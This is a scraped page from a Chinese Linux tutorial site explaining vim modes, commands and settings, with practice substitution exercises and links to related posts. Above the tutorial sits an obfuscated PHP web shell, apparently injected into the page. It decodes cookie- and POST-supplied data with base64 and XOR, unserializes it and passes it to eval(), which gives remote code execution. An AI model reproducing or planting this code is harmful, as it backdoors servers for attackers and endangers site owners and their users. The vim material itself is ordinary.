$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} vim编辑器及练习题 | Linux运维部落

vim编辑器及练习题

vim工作原理.jpg

命令用法:

vim [OPTION]… FILE… 

+#: 打开文件后,直接让光标处于第#行的行首 

                                例如:[root@localhost ~]# vim +15 /etc/passwd

+/PATTERN:打开文件后,直接让光标处于第一个被PATTERN匹配到的行的行首

                                例如:[root@localhost ~]# vim +15/^rpc /etc/passwd

vim + file 直接打开file,光标在最后一行 

                                例如:[root@localhost ~]# vim + /etc/passwd

vim –b file 二进制方式打开文件 

                                例如:[root@localhost ~]# vim -b /bin/cat

vim –d file1 file2…  比较多个文件 ;窗口模式退出之后,会自动标注至不匹配的编辑模式

                                例如:[root@localhost tmp]# vim -d passwd.out passwd

vim  -m file  只读打开文件;防止误操作,只能查看内容,不能修改内容

                                例如:[root@localhost tmp]# vim -m passwd.out

ex  file 或 vim –e  直接进入ex模式;

如果该文件存在,文件被打开并显示内容 如果该文件不存在,当编辑后第一次存盘时创建它

击键行为是依赖于 vim的 的“模式” 

三种主要模式:

命令模式(默认):移动光标,剪切/粘贴文本 

插入(编辑)模式:修改文本 

扩展命令模式:保存,退出等 

·Esc键 退出当前模式

Esc键 Esc键 总是返回到命令模式

vi: Visual Interface,文本编辑器;文本:ASCII, Unicode 

命令模式 –> 插入模式 

i: insert, 在光标所在处输入 

I:在当前光标所在行的行首输入 

a: append, 在光标所在处后面输入 

A:在当前光标所在行的行尾输入 

o: 在当前光标所在行的下方打开一个新行 

O:在当前光标所在行的上方打开一个新行

模式转换方式:

插入模式 —-> 命令模式 ESC

命令模式 —-> 扩展模式 : 

扩展模式 —-> 命令模式 ESC

锁定和解锁:CTRL+s,Ctrl+q

扩展模式: 

按“:”进入Ex模式

创建一个命令提示符:,处于底部的屏幕左侧

:q 退出 

:q! 强制退出,丢弃做出的修改 

:wq 保存退出 

:x  保存退出 

w  写(存)磁盘文件 

wq 写入并退出 

x  写入并退出 

q  退出 

q!不存盘退出,即使更改都将丢失 

r filename 读文件内容到当前文件中 

w filename  将当前文件内容写入另一个文件 !command r!command

命令模式:

ZZ: 保存退出 

ZQ:不保存退出

字符间跳转:

h: 左

l: 右 

j: 下 

k: 上 

#COMMAND:跳转由#指定的个数的字符; 

单词间跳转: 

w:下一个单词的词首 

e:当前或下一单词的词尾 

b:当前或前一个单词的词首 

#COMMAND:由#指定一次跳转的单词数 

当前页跳转: 

H:页首 

M:页中间行 

L:页底

行首行尾跳转: 

^:  跳转至行首的第一个非空白字符; 

0:        跳转至行首 

$:       跳转至行尾 

行间移动: 

 #G: 扩展模式:

#:   跳转至由#指定行 

G:  最后一行 

1G,gg:    第一行 

句间移动: (按住ctrl实现效果)

):下一句 (:上一句 

段落间移动:(按住ctrl实现效果)

}:下一段 {:上一段

命令模式翻屏:

 Ctrl+f: 向文件尾部翻一屏

 Ctrl+b: 向文件首部翻一屏

 Ctrl+d: 向文件尾部翻半屏

 Ctrl+u:向文件首部翻半屏

字符编辑: 

 x: 删除光标处的字符; 

 #x: 删除光标处起始的#个字符 

 xp: 交换光标所在处的字符及其后面字符的位置

 ~:转换大小写

替换命令(r, replace) 

 r: 替换光标所在处的字符 

 R:切换成REPLACE模式

删除命令:

 d: 删除命令,可结合光标跳转字符,实现范围删除; 

 d$: 删除到行尾 

 d^:删除到非空行首 

 d0:删除到行首 

 dw: de: db: #COMMAND

 dd: 删除光标所在的行 #dd:多行删除

 D:从当前光标位置一直删除到行尾,留空行,等同于d$

复制命令(y, yank): 

 y: 复制,行为相似于d命令 

 yy:复制行 #yy: 复制多行 

 Y: 复制整行

粘贴命令(p, paste):

 p:缓冲区存的如果为整行,则粘贴当前光标所在行的下 方;否则,则粘贴至当前光标所在处的后面 

 P:缓冲区存的如果为整行,则粘贴当前光标所在行的上 方;否则,则粘贴至当前光标所在处的前面

改变命令(c, change) 

 c: 修改后切换成插入模式 

命令模式 –> 插入模式 

 c$ 删除此行光标之后并插入

 c^ 删除此行光标之前并插入

 c0 删除此段光标之后并插入

 cb 删除此段光标之前并插入

 ce 删除此行光标之后的段并插入

 cc 删除当前行并输入新内容 

 C  删除当前光标到行尾,并切换成插入模式

命令使用方法:

 100iluyubo [ESC] 粘贴“luyubo”100次 

 <start position><command><end position> 

 Command: 

 y 复制、d 删除、gU 变大写、gu 变小写 

 例如 0y$ 命令意味着: 

 0 → 先到行头 

 y → 从这里开始拷贝 

 $ → 拷贝到本行最后一个字符 

 ye 从当前位置拷贝到本单词的最后一个字符

撤消更改:

 u撤销最近的更改 

 #u撤销之前多次更改 

 U 撤消光标落在这行后所有此行的更改 

 按Ctrl – r重做最后的“撤消”更改 

 . 重复前一个操作 

 n.重复前一个操作n次

扩展模式:

地址定界:

 #: 具体第#行,例如2表示第2行; 

 #,#: 从左侧#表示行起始,到右侧#表示行结尾 

 #,+#: 从左侧#表示的行起始,加上右侧#表示的行数 :

 2,+3  表示2到5行 

 .: 当前行 

 $: 最后一行 

 .,$-1 当前行到倒数第二行 

 %:全文, 相当于1,$

 /pat1/,/pat2/ 从第一次被pat1模式匹配到的行开始,一直到第一次被 pat2匹配到的行结束 #,/pat/ /pat/,$

使用格式:(后跟一个编辑命令)

 w file: 将范围内的行另存至指定文件中 

 r file:在指定位置插入指定文件中的所有内容

查找并替换:

 /PATTERN:从当前光标所在处向文件尾部查找 

 ?PATTERN:从当前光标所在处向文件首部查找 

 n:与命令同方向 

 N:与命令反方向

 s: 在扩展模式下完成查找替换操作 格式:s/要查找的内容/替换为的内容/修饰符 要查找的内容:可使用模式 替换为的内容:不能使用模式,但可以使用\1, \2, … 等后向引用符号;还可以使用“&”引用前面查找时查找到的整个内容  格式:s///,s@@@,s$$$

修饰符: 

 i: 忽略大小写 

 g: 全局替换;默认情况下,每一行只替换第一次出现 

 gc:全局替换,每次替换前询问

 查找替换中的分隔符/可替换为其它字符,例如 s@/etc@/var@g s#/boot#/#i

vim寄存器介绍:

 有26个命名寄存器和1个无命名寄存器,常存放不同的 剪贴版内容,可以不同会话间共享。 

 用a,b,…,z表示,用“寄存器表示,放在数字和命令之间 如:3"tyy 表示复制3行到t寄存器中 "tp  表示将t寄存器内容粘贴 

 未指定,将使用无命名寄存器 

 有10个数字寄存器,用0,1,…,9表示,0存放最近复 制内容,1存放最近删除内容。当新的文本变更和删除 时,1转存到2,2转存到3,以此类推。数字寄存器不能 在不同会话间共享。

编辑二进制:

 以二进制方式打开文件 vim –b binaryfile 

 扩展命令模式下,利用xxd命令转换为可读的十六进制 :%!xxd 

 扩展命令模式下,利用xxd命令转换回二进制 :%!xxd –r 

 保存退出

可视化模式:

 允许选择的文本块 

 v 面向字符 

 V 面向行 

 ctrl-v 面向块 

 可视化键可用于与移动键结合使用: w, ) , } ,箭头等 

 突出显示的文字可以被删除,复制,变更,过滤,搜索/替换 等

多文件模式:

 vim FILE1 FILE2 FILE3 … :

 :next  下一个 

 :prev  前一个 

 :first 第一个 

 :last  最后一个 

 :wall  保存所有 

 :qall  退出所有 

 :wqall 保存所有并退出

多文件分割:

 vim -o|-O FILE1 FILE2 … 

 -o: 水平分割 

 -O: 垂直分割 

 在窗口间切换:Ctrl+w, Arrow 

单个文件窗口分割:

 Ctrl+w,s: split, 水平分割 

 Ctrl+w,v: vertical, 垂直分割 

 ctrl+w,q:取消相邻窗口 

 ctrl+w,o:取消全部窗口 

 :wqall 退出

定制vim的工作特性:

配置文件:

  永久有效 全局:/etc/vimrc 

  个人:~/.vimrc 

扩展模式:

当前vim进程有效 

(1) 行号:

显示:set number, 简写为set nu 取消显示:set nonumber, 简写为set nonu 

(2) 括号成对匹配:

匹配:set showmatch, 简写为set sm 取消:set nosm

(3) 自动缩进 

启用:set ai 

禁用:set noai 

(4) 高亮搜索

启用:set hlsearch 

禁用:set nohlsearch 

(5) 语法高亮 

启用:syntax on 

禁用:syntax off

(6) 忽略字符的大小写 

启用:set ic 

不忽略:set noic

(7) 文件格式

启用:fileformat=unix 

不忽略: fileformat=dos 

(8) 设置文本宽度

:set textwidth=65 (vim only) 

:set wrapmargin=15 

:help option-list 

:set or :set all

练习案例:

1、复制/etc/profile至/tmp/目录,用查找替换命令删除 /tmp/profile文件中的行首的空白字符

[root@localhost tmp]# vim profile
扩展模式输入:%s@^[[:space:]]\+@@

2、复制/etc/rc.d/init.d/functions文件至/tmp目录,用查 找替换命令为/tmp/functions的每行开头为空白字符的行的 行首添加一个#号

[root@localhost tmp]# vim functions 
扩展模式输入:%s@^[[:space:]]@#$@

3、如何设置tab缩进为4个字符? 

set ts=4

4、复制/etc/rc.d/init.d/functions文件至/tmp目录;替换 /tmp/functions文件中的/etc/sysconfig/init为/var/log; 

[root@localhost tmp]# vim functions 
:%s@/etc/sysconfig/init@/var/log:@

5、删除/tmp/functions文件中所有以#开头,且#后面至少 有一个空白字符的行的行首的#号;

[root@localhost tmp]# vim functions 
:%s@^#[[:space:]]\+@#@g

6、将/etc/yum.repos.d/CentOS-Base.repo文件中所有的enabled=0替换为enabled=1,所有gpgcheck=0替换为gpgcheck=1

:%s@\(gpgcheck\|enabled\)=1@\1=0@

原创文章,作者:闹钟哥,如若转载,请注明出处:http://www.178linux.com/32837

(1)
上一篇 2016-08-11 09:37
下一篇 2016-08-11 09:38

相关推荐

  • 马哥教育网络第21期-第五周课程练习

    1、显示/boot/grub/grub.conf中以至少一个空白字符开头的行; [root@6 ~]# grep '^[[:space:]]\+' /boot/grub/grub.conf 2、显示/etc/rc.d/rc.sysinit文件中以#开头,后面跟至少一个空白字符,而后又有至少一个非空白…

    Linux干货 2016-08-15
  • 用户和组

    用户和组 touch /etc/nologin     系统做维护时不想普通用户登录,就可以创建这个文件,也可以在里面写一些提示。     维护完之后删除这个文件就可以自动恢复      touch /run/nolog…

    Linux干货 2016-08-03
  • rsync+inotify实时同步备份数据

    rsync同步 rsync+inotify实时同步备份数据 软件简介: rsync命令简介: rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。rsync使用所谓的“rsync算法”来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快。 rsync是一个功能非常强大…

    Linux干货 2016-10-28
  • 5.程序包管理与内核命令的使用

    1、  显示/boot/grub/grub.conf中以至少一个空白字符开头的行; ~]#  grep -E “^[[:space:]]+” //boot/grub/grub.conf root (hd0,0) kernel /vmlinuz-2.6.32-279.el…

    Linux干货 2017-07-30
  • #招聘福利#深圳云戈科技有限公司广州分公司/运维工程师/广州/招聘3人

    深圳云戈科技有限公司广州分公司/运维工程师/广州 招聘人数:3人 职位名称:运维工程师 岗位职责:负责大型数据处理系统、交易系统的维护工作。包括系统调优、数据库调优、系统版本升级、系统事件             处理、系统监控与巡检、数据分析与修复、实施应急方案、参数配置、系统扩容与部署、维护报告…

    Linux干货 2016-03-28
  • 重定向和管道

    1.Linux给程序提供三种I/O设备 标准输入-0    默认接受来自键盘的输入 标准输出-1    默认输出到终端窗口 标准错误-2    默认输出到终端窗口 在dev下有个fd设备,打开的文件都有一个fd:file dexcriptor 文件描述符 I/O重定向:…

    2017-07-20